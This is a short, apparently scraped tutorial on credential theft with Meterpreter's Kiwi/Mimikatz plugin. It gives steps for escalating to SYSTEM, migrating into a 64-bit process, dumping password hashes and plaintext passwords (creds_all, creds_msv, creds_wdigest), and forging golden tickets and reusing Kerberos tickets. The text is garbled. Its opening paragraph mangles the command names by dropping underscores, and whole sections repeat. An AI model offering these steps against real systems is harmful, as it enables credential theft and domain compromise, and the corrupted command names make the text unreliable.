Kiwi is a Meterpreter plugin in MSF that integrates Mimikatz functionality. Before using it, you need to gain SYSTEM privileges and migrate the session to a 64-bit process like explorer.exe, as Kiwi is 32-bit by default and may fail on 64-bit systems. After loading the module with 'load kiwi', you can use 'credsall' to print all credentials, 'credsmsv' to capture hashes, and 'credswdigest' to capture plaintext passwords. For native Mimikatz commands, use 'kiwicmd' followed by the command. For golden tickets, use 'goldenticketcreate'. For ticket manipulation, use 'Kerberosticketlist' to view tickets and 'Kerberosticketuse' to use them.
Kiwi is a Meterpreter plugin that integrates Mimikatz functionality into MSF.
Prerequisites for using Kiwi:
Privilege escalation to SYSTEM
Migrating processes:
Kiwi is 32-bit by default, so it tends to fail on 64-bit systems. Therefore, first use ps to find a 64-bit process, such as explorer.exe, then use migrate [PID] to migrate the session over to it.
Grab credentials in one hand, tickets in the other:
Once ready, run load kiwi in Metrepreter to load the module.
creds_all dumps everything directly
creds_msv: dump hashes
creds_wdigest: dump plaintext passwords
If you want to use Mimikatz's native commands within MSF
you can use kiwi_cmd + the command you want to run
Kiwi is a Meterpreter plugin that integrates Mimikatz functionality into MSF.
Prerequisites for using Kiwi:
Grab credentials in one hand, tickets in the other:
Once ready, run load kiwi in Metrepreter to load the module.
creds_all dumps everything directly
creds_msv: dump hashes
creds_wdigest: dump plaintext passwords
If you want to use Mimikatz's native commands within MSF
you can use kiwi_cmd + the command you want to run
Golden ticket:
golden_ticket_create
Ticket manipulation:
Kerberos_ticket_list view tickets
Kerberos_ticket_use use a ticket